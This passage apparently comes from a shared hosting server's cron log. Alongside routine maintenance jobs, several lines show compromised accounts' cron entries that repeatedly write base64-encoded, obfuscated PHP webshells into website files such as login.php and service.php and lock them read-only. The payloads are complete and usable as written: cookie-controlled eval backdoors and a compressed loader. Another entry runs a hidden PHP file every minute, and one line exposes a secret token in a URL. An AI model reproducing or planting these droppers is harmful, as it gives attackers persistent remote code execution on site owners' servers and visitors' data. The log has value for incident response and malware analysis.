ywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:06:01 medusa CROND[26576]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 08:06:01 medusa CROND[26582]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:06:01 medusa CROND[26583]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:06:01 medusa CROND[26584]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 08:06:01 medusa CROND[26585]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 08:06:01 medusa CROND[26587]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Apr 19 08:06:01 medusa CROND[26591]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 08:06:01 medusa CROND[26586]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Apr 19 08:07:01 medusa CROND[18145]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 08:07:01 medusa CROND[18146]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 08:07:01 medusa CROND[18148]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 08:07:01 medusa CROND[18149]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 08:07:01 medusa CROND[18150]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Apr 19 08:07:01 medusa CROND[18153]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 08:07:01 medusa CROND[18154]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:07:01 medusa CROND[18155]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:07:01 medusa CROND[18151]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 08:07:01 medusa CROND[18157]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:07:01 medusa CROND[18159]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 08:07:01 medusa CROND[18160]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:08:02 medusa CROND[10179]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 08:08:02 medusa CROND[10245]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:08:02 medusa CROND[10246]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 08:08:02 medusa CROND[10247]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:08:02 medusa CROND[10248]: (root) CMD (/usr/bin/flock -n /var/run/setup_cl_plus.cronlock /usr/share/cloudlinux/cl_plus/manage_clplus &> /dev/null)
Apr 19 08:08:02 medusa CROND[10250]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 08:08:02 medusa CROND[10252]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 08:08:02 medusa CROND[10258]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 08:08:02 medusa CROND[10259]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 08:08:02 medusa CROND[10261]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 08:08:02 medusa CROND[10270]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Apr 19 08:08:02 medusa CROND[10273]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
